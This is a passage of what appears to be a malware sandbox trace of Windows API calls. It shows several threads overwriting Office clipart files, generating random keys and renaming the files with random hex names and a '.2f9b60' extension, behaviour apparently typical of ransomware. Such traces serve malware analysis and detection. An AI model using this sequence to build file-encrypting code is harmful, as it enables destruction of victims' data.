(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4242a600 [0150.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4242e500 [0150.190] ReadFile (in: hFile=0x21d4, lpBuffer=0x4242a600, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x2d33f8d0, lpOverlapped=0x0 | out: lpBuffer=0x4242a600*, lpNumberOfBytesRead=0x2d33f8d0*=0x244, lpOverlapped=0x0) returned 1 [0150.190] SetFilePointerEx (in: hFile=0x21d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.190] WriteFile (in: hFile=0x21d4, lpBuffer=0x4242e500*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x2d33f8d4, lpOverlapped=0x0 | out: lpBuffer=0x4242e500*, lpNumberOfBytesWritten=0x2d33f8d4*=0x244, lpOverlapped=0x0) returned 1 [0162.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a78b0 [0162.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a78e0 [0162.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a78e0) returned 1 [0162.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4242e500) returned 1 [0162.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4242a600) returned 1 [0162.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0162.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420580b0) returned 1 [0162.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a78e0 [0162.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420580b0 [0162.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0162.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7910 [0162.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7910) returned 1 [0162.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7910 [0162.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7940 [0162.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7970 [0162.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7970) returned 1 [0162.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0162.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420580b0) returned 1 [0162.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14090 [0162.129] SetFilePointerEx (in: hFile=0x21d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.129] WriteFile (in: hFile=0x21d4, lpBuffer=0x42c14090*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d33f9f0, lpOverlapped=0x0 | out: lpBuffer=0x42c14090*, lpNumberOfBytesWritten=0x2d33f9f0*=0x10a, lpOverlapped=0x0) returned 1 [0164.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0164.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053cd0 [0164.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053cd0) returned 1 [0164.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053cd0 [0164.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053ca0 [0164.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053ca0) returned 1 [0164.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0164.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.120] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="b7") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="36") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="15") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="29") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="50") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="cc") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="b5") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="64") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="05") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="25") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="22") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="04") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="3a") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="d5") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="8a") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="64") returned 2 [0164.121] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="27") returned 2 [0164.121] RtlInitAnsiString (in: DestinationString=0x2d33fa68, SourceString="b736152950cca9b5fcf564052d2522043ad5bf4f8a6e6427" | out: DestinationString="b736152950cca9b5fcf564052d2522043ad5bf4f8a6e6427") [0164.121] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d33fa38, SourceString="b736152950cca9b5fcf564052d2522043ad5bf4f8a6e6427", AllocateDestinationString=1 | out: DestinationString="b736152950cca9b5fcf564052d2522043ad5bf4f8a6e6427") returned 0x0 [0164.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203faac0 [0164.122] RtlFreeAnsiString (AnsiString="b") [0164.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053cd0) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14090) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7910) returned 1 [0164.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7940) returned 1 [0164.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a78e0) returned 1 [0164.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a78b0) returned 1 [0164.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4330) returned 1 [0164.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43f0) returned 1 [0164.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4420) returned 1 [0164.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e820 [0164.125] wcscat (in: _Dest=0x4230e820, _Source="b736152950cc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b736152950cc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b736152950cc" [0164.125] wcscat (in: _Dest=0x4230e820, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b736152950cc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b736152950cc.2f9b60" [0164.125] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b736152950cc.2f9b60", NtPathName=0x2d33fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b736152950cc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b290 Thread: id = 2367 os_tid = 0x1d60 [0150.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0150.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF", dwFileAttributes=0x20) returned 1 [0150.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21d8 [0150.195] GetFileSizeEx (in: hFile=0x21d8, lpFileSize=0x2d3efc00 | out: lpFileSize=0x2d3efc00*=296) returned 1 [0150.195] SetFilePointerEx (in: hFile=0x21d8, liDistanceToMove=0x124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.195] ReadFile (in: hFile=0x21d8, lpBuffer=0x2d3efb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d3efbc8, lpOverlapped=0x0 | out: lpBuffer=0x2d3efb80*, lpNumberOfBytesRead=0x2d3efbc8*=0x4, lpOverlapped=0x0) returned 1 [0150.196] SetFilePointerEx (in: hFile=0x21d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4450 [0150.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4480 [0150.196] NtQuerySystemTime (in: CurrentTime=0x2d3efac0 | out: CurrentTime=0x2d3efac0*=132462177553990000) returned 0x0 [0150.196] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x361fef2f [0150.196] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x5b18c728 [0150.196] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x21ff088e [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x7fb3b2b1 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x40610a3e [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x52351967 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x48b85262 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x19d11ca2 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x40e2c19b [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x401b0ad0 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x4e53c003 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x1c1165c3 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0xf2b58d8 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x4d03132 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x6ef3c091 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x72bdaa81 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x2ffc6a36 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x7958f925 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x53cd9862 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x5cc3e6f3 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x68487bba [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x6f6a7923 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x700e62d4 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x6251799e [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x37e59cd8 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x4186d237 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x293e275b [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0xdf46f08 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x1e161307 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x4e189836 [0150.197] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x336d4057 [0150.198] RtlRandomEx (in: Seed=0x2d3efab0 | out: Seed=0x2d3efab0) returned 0x1841fee7 [0150.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44b0 [0150.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5afb0 [0150.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44e0 [0150.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5afb0) returned 1 [0150.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4480) returned 1 [0150.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058100 [0150.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5afb0 [0150.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43c0) returned 1 [0150.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42435d20 [0150.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42439930 [0150.207] ReadFile (in: hFile=0x21d8, lpBuffer=0x42435d20, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x2d3efab0, lpOverlapped=0x0 | out: lpBuffer=0x42435d20*, lpNumberOfBytesRead=0x2d3efab0*=0x128, lpOverlapped=0x0) returned 1 [0150.207] SetFilePointerEx (in: hFile=0x21d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.207] WriteFile (in: hFile=0x21d8, lpBuffer=0x42439930*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d3efab4, lpOverlapped=0x0 | out: lpBuffer=0x42439930*, lpNumberOfBytesWritten=0x2d3efab4*=0x128, lpOverlapped=0x0) returned 1 [0162.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7730 [0162.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7760 [0162.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7760) returned 1 [0162.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42439930) returned 1 [0162.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42435d20) returned 1 [0162.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5afb0) returned 1 [0162.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058100) returned 1 [0162.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7760 [0162.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058100 [0162.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5afb0 [0162.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7790 [0162.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7790) returned 1 [0162.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7790 [0162.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a77c0 [0162.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a77f0 [0162.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a77f0) returned 1 [0162.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5afb0) returned 1 [0162.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058100) returned 1 [0162.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423adf10 [0162.116] SetFilePointerEx (in: hFile=0x21d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.116] WriteFile (in: hFile=0x21d8, lpBuffer=0x423adf10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d3efbd0, lpOverlapped=0x0 | out: lpBuffer=0x423adf10*, lpNumberOfBytesWritten=0x2d3efbd0*=0x10a, lpOverlapped=0x0) returned 1 [0164.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0164.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9620 [0164.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9620) returned 1 [0164.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9620 [0164.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd95f0 [0164.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd95f0) returned 1 [0164.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0164.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.096] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="12") returned 2 [0164.096] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="cc") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="93") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="b9") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="58") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="3a") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="82") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="73") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="6a") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="ec") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="91") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="57") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="27") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="57") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="83") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="7d") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="21") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.097] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="8b") returned 2 [0164.097] RtlInitAnsiString (in: DestinationString=0x2d3efc48, SourceString="12cc93b9583a825a4a73f49f6a0cec91572757837d21c68b" | out: DestinationString="12cc93b9583a825a4a73f49f6a0cec91572757837d21c68b") [0164.097] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d3efc18, SourceString="12cc93b9583a825a4a73f49f6a0cec91572757837d21c68b", AllocateDestinationString=1 | out: DestinationString="12cc93b9583a825a4a73f49f6a0cec91572757837d21c68b") returned 0x0 [0164.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa9e0 [0164.099] RtlFreeAnsiString (AnsiString="1") [0164.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9620) returned 1 [0164.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423adf10) returned 1 [0164.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7790) returned 1 [0164.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a77c0) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7760) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7730) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4450) returned 1 [0164.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f44b0) returned 1 [0164.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f44e0) returned 1 [0164.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e6e0 [0164.103] wcscat (in: _Dest=0x4230e6e0, _Source="12cc93b9583a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\12cc93b9583a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\12cc93b9583a" [0164.103] wcscat (in: _Dest=0x4230e6e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\12cc93b9583a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\12cc93b9583a.2f9b60" [0164.103] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\12cc93b9583a.2f9b60", NtPathName=0x2d3efbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\12cc93b9583a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b110 Thread: id = 2368 os_tid = 0x1d64 [0150.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0150.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF", dwFileAttributes=0x20) returned 1 [0150.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21dc [0150.210] GetFileSizeEx (in: hFile=0x21dc, lpFileSize=0x2d62f880 | out: lpFileSize=0x2d62f880*=552) returned 1 [0150.210] SetFilePointerEx (in: hFile=0x21dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.210] ReadFile (in: hFile=0x21dc, lpBuffer=0x2d62f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d62f848, lpOverlapped=0x0 | out: lpBuffer=0x2d62f800*, lpNumberOfBytesRead=0x2d62f848*=0x4, lpOverlapped=0x0) returned 1 [0150.211] SetFilePointerEx (in: hFile=0x21dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43c0 [0150.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 